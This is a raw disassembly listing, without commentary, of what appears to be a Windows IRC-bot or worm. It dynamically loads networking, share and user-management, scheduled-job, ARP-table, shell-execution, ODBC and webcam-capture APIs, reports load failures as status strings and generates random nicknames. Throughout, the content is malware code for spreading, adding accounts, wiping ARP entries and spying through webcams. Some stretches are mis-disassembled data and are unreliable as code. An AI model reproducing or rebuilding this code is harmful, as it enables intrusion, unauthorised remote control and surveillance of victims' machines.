		jz	short loc_40A2E7
		cmp	dword_4CAF8C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF4C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFA0, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF5C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF9C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB008, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF54, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF18, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF88, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFF8, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF2C, ebx
		jz	short loc_40A2E7
		cmp	eax, ebx
		jnz	short loc_40A2F1
		jmp	short loc_40A2E7
; ---------------------------------------------------------------------------

loc_40A2DC:				; CODE XREF: sub_409B12+51Fj
		nop
		call	near ptr 267084Ch
		mov	dword_4CB058, eax

loc_40A2E7:				; CODE XREF: sub_409B12+6BEj
					; sub_409B12+6CAj ...
		mov	dword_4CB054, 1

loc_40A2F1:				; CODE XREF: sub_409B12+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A3F6
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CAEB0, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CAE38, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CAF3C, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CAEE8, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CAF48, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CAF0C, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CAE78, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CAE70, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CAE80, eax
		call	esi
		cmp	dword_4CAEB0, ebx
		mov	ecx, dword_4CAF0C
		mov	dword_4CAFA8, eax
		jz	short loc_40A3D2
		cmp	dword_4CAE38, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF3C, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAEE8, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF48, ebx
		jz	short loc_40A3D2
		cmp	ecx, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAE78, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAE70, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAE80, ebx
		jz	short loc_40A3D2
		cmp	eax, ebx
		jnz	short loc_40A3DC

loc_40A3D2:				; CODE XREF: sub_409B12+87Ej
					; sub_409B12+886j ...
		mov	dword_4CB05C, 1

loc_40A3DC:				; CODE XREF: sub_409B12+8BEj
		cmp	ecx, ebx
		jz	short loc_40A411
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CAF24, eax
		jnz	short loc_40A411
		jmp	short loc_40A40B
; ---------------------------------------------------------------------------

loc_40A3F6:				; CODE XREF: sub_409B12+7EAj
		nop
		call	near ptr 267084Ch
		mov	dword_4CB060, eax
		mov	dword_4CB05C, 1

loc_40A40B:				; CODE XREF: sub_409B12+8E2j
		mov	dword_4CAF24, ebx

loc_40A411:				; CODE XREF: sub_409B12+8CCj
					; sub_409B12+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A45B
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CAEFC, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CB02C, eax
		call	esi
		cmp	dword_4CAEFC, ebx
		mov	dword_4CAE8C, eax
		jz	short loc_40A466
		cmp	dword_4CB02C, ebx
		jz	short loc_40A466
		cmp	eax, ebx
		jnz	short loc_40A470
		jmp	short loc_40A466
; ---------------------------------------------------------------------------

loc_40A45B:				; CODE XREF: sub_409B12+90Aj
		call	near ptr 267084Ch
		nop
		mov	dword_4CB068, eax

loc_40A466:				; CODE XREF: sub_409B12+939j
					; sub_409B12+941j ...
		mov	dword_4CB064, 1

loc_40A470:				; CODE XREF: sub_409B12+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A577
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CAE68, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CAE40, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CAEB8, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CAEEC, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CB004, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CAEA0, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CAE4C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CAE3C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CAED4, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CAFCC, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CAF84, eax
		call	esi
		cmp	dword_4CAE68, ebx
		mov	dword_4CAEA8, eax
		jz	short loc_40A582
		cmp	dword_4CAE40, ebx
		jz	short loc_40A582
		cmp	dword_4CAEB8, ebx
		jz	short loc_40A582
		cmp	dword_4CAEEC, ebx
		jz	short loc_40A582
		cmp	dword_4CB004, ebx
		jz	short loc_40A582
		cmp	dword_4CAEA0, ebx
		jz	short loc_40A582
		cmp	dword_4CAE4C, ebx
		jz	short loc_40A582
		cmp	dword_4CAE3C, ebx
		jz	short loc_40A582
		cmp	dword_4CAED4, ebx
		jz	short loc_40A582
		cmp	dword_4CAFCC, ebx
		jz	short loc_40A582
		cmp	dword_4CAF84, ebx
		jnz	short loc_40A58C
		jmp	short loc_40A582
; ---------------------------------------------------------------------------

loc_40A577:				; CODE XREF: sub_409B12+969j
		nop
		call	near ptr 267084Ch
		mov	dword_4CB070, eax

loc_40A582:				; CODE XREF: sub_409B12+A11j
					; sub_409B12+A19j ...
		mov	dword_4CB06C, 1

loc_40A58C:				; CODE XREF: sub_409B12+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5C1
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CAE90, eax
		call	esi
		cmp	dword_4CAE90, ebx
		mov	dword_4CAF6C, eax
		jz	short loc_40A5CC
		cmp	eax, ebx
		jnz	short loc_40A5D6
		jmp	short loc_40A5CC
; ---------------------------------------------------------------------------

loc_40A5C1:				; CODE XREF: sub_409B12+A85j
		nop
		call	near ptr 267084Ch
		mov	dword_4CB078, eax

loc_40A5CC:				; CODE XREF: sub_409B12+AA7j
					; sub_409B12+AADj
		mov	dword_4CB074, 1

loc_40A5D6:				; CODE XREF: sub_409B12+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A60B
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CAFF0, eax
		call	esi
		cmp	dword_4CAFF0, ebx
		mov	dword_4CAFEC, eax
		jz	short loc_40A616
		cmp	eax, ebx
		jnz	short loc_40A620
		jmp	short loc_40A616
; ---------------------------------------------------------------------------

loc_40A60B:				; CODE XREF: sub_409B12+ACFj
		nop
		call	near ptr 267084Ch
		mov	dword_4CB080, eax

loc_40A616:				; CODE XREF: sub_409B12+AF1j
					; sub_409B12+AF7j
		mov	dword_4CB07C, 1

loc_40A620:				; CODE XREF: sub_409B12+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A67F
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CB01C, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CB014, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CAFDC, eax
		call	esi
		cmp	dword_4CB01C, ebx
		mov	dword_4CAEAC, eax
		jz	short loc_40A68A
		cmp	dword_4CB014, ebx
		jz	short loc_40A68A
		cmp	dword_4CAFDC, ebx
		jz	short loc_40A68A
		cmp	eax, ebx
		jnz	short loc_40A694
		jmp	short loc_40A68A
; ---------------------------------------------------------------------------

loc_40A67F:				; CODE XREF: sub_409B12+B19j
		nop
		call	near ptr 267084Ch
		mov	dword_4CB088, eax

loc_40A68A:				; CODE XREF: sub_409B12+B55j
					; sub_409B12+B5Dj ...
		mov	dword_4CB084, 1

loc_40A694:				; CODE XREF: sub_409B12+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A6C9
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CAEE0, eax
		call	esi
		cmp	dword_4CAEE0, ebx
		mov	dword_4CAFE8, eax
		jz	short loc_40A6D4
		cmp	eax, ebx
		jnz	short loc_40A6DE
		jmp	short loc_40A6D4
; ---------------------------------------------------------------------------

loc_40A6C9:				; CODE XREF: sub_409B12+B8Dj
		call	near ptr 267084Ch
		nop
		mov	dword_4CB090, eax

loc_40A6D4:				; CODE XREF: sub_409B12+BAFj
					; sub_409B12+BB5j
		mov	dword_4CB08C, 1

loc_40A6DE:				; CODE XREF: sub_409B12+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A767
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CAFB0, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CAFFC, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CAF38, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CAEF0, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CAF90, eax
		call	esi
		cmp	dword_4CAFB0, ebx
		mov	dword_4CAF00, eax
		jz	short loc_40A772
		cmp	dword_4CAFFC, ebx
		jz	short loc_40A772
		cmp	dword_4CAF38, ebx
		jz	short loc_40A772
		cmp	dword_4CAEF0, ebx
		jz	short loc_40A772
		cmp	dword_4CAF90, ebx
		jz	short loc_40A772
		cmp	eax, ebx
		jnz	short loc_40A77C
		jmp	short loc_40A772
; ---------------------------------------------------------------------------

loc_40A767:				; CODE XREF: sub_409B12+BD7j
		nop
		call	near ptr 267084Ch
		mov	dword_4CB098, eax

loc_40A772:				; CODE XREF: sub_409B12+C2Dj
					; sub_409B12+C35j ...
		mov	dword_4CB094, 1

loc_40A77C:				; CODE XREF: sub_409B12+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A7B1
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CAEC4, eax
		call	esi
		cmp	dword_4CAEC4, ebx
		mov	dword_4CAFA4, eax
		jz	short loc_40A7BC
		cmp	eax, ebx
		jnz	short loc_40A7C6
		jmp	short loc_40A7BC
; ---------------------------------------------------------------------------

loc_40A7B1:				; CODE XREF: sub_409B12+C75j
		call	near ptr 267084Ch
		nop
		mov	dword_4CB0A0, eax

loc_40A7BC:				; CODE XREF: sub_409B12+C97j
					; sub_409B12+C9Dj
		mov	dword_4CB09C, 1

loc_40A7C6:				; CODE XREF: sub_409B12+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409B12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7CE	proc near		; CODE XREF: sub_401ACD+2536p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CB034, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A816
		push	dword_4CB038
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A816:				; CODE XREF: sub_40A7CE+1Aj
		cmp	dword_4CB03C, esi
		jz	short loc_40A84A
		push	dword_4CB040
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A84A:				; CODE XREF: sub_40A7CE+4Ej
		cmp	dword_4CB044, esi
		jz	short loc_40A87E
		push	dword_4CB048
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A87E:				; CODE XREF: sub_40A7CE+82j
		cmp	dword_4CB04C, esi
		jz	short loc_40A8B2
		push	dword_4CB050
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A8B2:				; CODE XREF: sub_40A7CE+B6j
		cmp	dword_4CB054, esi
		jz	short loc_40A8E6
		push	dword_4CB058
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A8E6:				; CODE XREF: sub_40A7CE+EAj
		cmp	dword_4CB05C, esi
		jz	short loc_40A91A
		push	dword_4CB060
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A91A:				; CODE XREF: sub_40A7CE+11Ej
		cmp	dword_4CB064, esi
		jz	short loc_40A94E
		push	dword_4CB068
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A94E:				; CODE XREF: sub_40A7CE+152j
		cmp	dword_4CB06C, esi
		jz	short loc_40A982
		push	dword_4CB070
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A982:				; CODE XREF: sub_40A7CE+186j
		cmp	dword_4CB074, esi
		jz	short loc_40A9B6
		push	dword_4CB078
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A9B6:				; CODE XREF: sub_40A7CE+1BAj
		cmp	dword_4CB07C, esi
		jz	short loc_40A9EA
		push	dword_4CB080
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A9EA:				; CODE XREF: sub_40A7CE+1EEj
		cmp	dword_4CB084, esi
		jz	short loc_40AA1E
		push	dword_4CB088
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AA1E:				; CODE XREF: sub_40A7CE+222j
		cmp	dword_4CB08C, esi
		jz	short loc_40AA52
		push	dword_4CB090
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AA52:				; CODE XREF: sub_40A7CE+256j
		cmp	dword_4CB094, esi
		jz	short loc_40AA86
		push	dword_4CB098
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AA86:				; CODE XREF: sub_40A7CE+28Aj
		cmp	dword_4CB09C, esi
		jz	short loc_40AABA
		push	dword_4CB0A0
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AABA:				; CODE XREF: sub_40A7CE+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D338
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40AAE7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_40AAE7:				; CODE XREF: sub_40A7CE+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAF9	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5C95p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AB21
		push	[esp+arg_0]
		call	dword_4CAFF8
		test	eax, eax
		jnz	short loc_40AB1A
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_40AB1A:				; CODE XREF: sub_40AAF9+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AB21:				; CODE XREF: sub_40AAF9+Dj
		retn
sub_40AAF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB22	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CAE90
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AB30
		call	ecx

locret_40AB30:				; CODE XREF: sub_40AB22+Aj
		retn
sub_40AB22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB31	proc near		; CODE XREF: sub_401ACD:loc_403F5Dp

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CAFF0
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40ABF7
		sub	ecx, 32h
		jz	loc_40ABF0
		sub	ecx, 48h
		jz	short loc_40AB91
		sub	ecx, 6Eh
		jz	short loc_40AB8A

loc_40AB73:				; CODE XREF: sub_40AB31+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42D54C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40ABD1
; ---------------------------------------------------------------------------

loc_40AB8A:				; CODE XREF: sub_40AB31+40j
		push	offset unk_42D528
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------

loc_40AB91:				; CODE XREF: sub_40AB31+3Bj
		push	[ebp+var_8]
		call	sub_41B4D5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41B590
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40ABBE
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CAFF0
		cmp	eax, edi
		jz	short loc_40ABF7
		jmp	short loc_40AB73
; ---------------------------------------------------------------------------

loc_40ABBE:				; CODE XREF: sub_40AB31+79j
		push	offset unk_42D4F8

loc_40ABC3:				; CODE XREF: sub_40AB31+5Ej
					; sub_40AB31+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40ABD1:				; CODE XREF: sub_40AB31+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40ABE1:				; CODE XREF: sub_40AB31+C8j
					; sub_40AB31+DCj
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40ABF0:				; CODE XREF: sub_40AB31+32j
		push	offset unk_42D4C8
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------

loc_40ABF7:				; CODE XREF: sub_40AB31+29j
					; sub_40AB31+89j
		cmp	[esi], edi
		jbe	short loc_40ABE1
		lea	ebx, [esi+4]

loc_40ABFE:				; CODE XREF: sub_40AB31+DAj
		push	ebx
		call	dword_4CAFEC
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40ABFE
		jmp	short loc_40ABE1
sub_40AB31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC0F	proc near		; CODE XREF: sub_401ACD+2247p
					; sub_401ACD+2398p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF18
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CB0A4
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41B886
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AC0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC68	proc near		; CODE XREF: sub_412B08+24Cp
					; sub_412B08+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AC91
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]

loc_40AC84:				; CODE XREF: sub_40AC68+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AC84
		pop	edi
		jmp	short loc_40AC95
; ---------------------------------------------------------------------------

loc_40AC91:				; CODE XREF: sub_40AC68+Aj
		mov	edx, [esp+4+arg_0]

loc_40AC95:				; CODE XREF: sub_40AC68+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AC9F
		movzx	ecx, byte ptr [edx]
		add	eax, ecx

loc_40AC9F:				; CODE XREF: sub_40AC68+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AC68	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ACB5	proc near		; CODE XREF: sub_40B08D+49p
					; DATA XREF: ___:off_42D598o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		nop
		call	near ptr 268054Ch
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42D600[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD1D

loc_40ACF7:				; CODE XREF: sub_40ACB5+66j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B468
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACF7

loc_40AD1D:				; CODE XREF: sub_40ACB5+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40ACB5	endp

; ---------------------------------------------------------------------------
		dw 5756h
		db 90h
		db 0E8h, 22h, 58h
; ---------------------------------------------------------------------------
		daa
		add	dl, [eax-18h]
		test	al, 0Bh
		add	[eax], eax
		mov	edi, [esp+10h]
		mov	dword ptr [esp], offset	asc_42913C ; "-"
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD7B

loc_40AD55:				; CODE XREF: ___:0040AD79j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B468
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AD55

loc_40AD7B:				; CODE XREF: ___:0040AD53j
		mov	eax, edi
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AD80	proc near		; CODE XREF: sub_401ACD+69CCp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	near ptr 268054Ch
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ADC3

loc_40ADAD:				; CODE XREF: sub_40AD80+41j
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ADAD

loc_40ADC3:				; CODE XREF: sub_40AD80+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
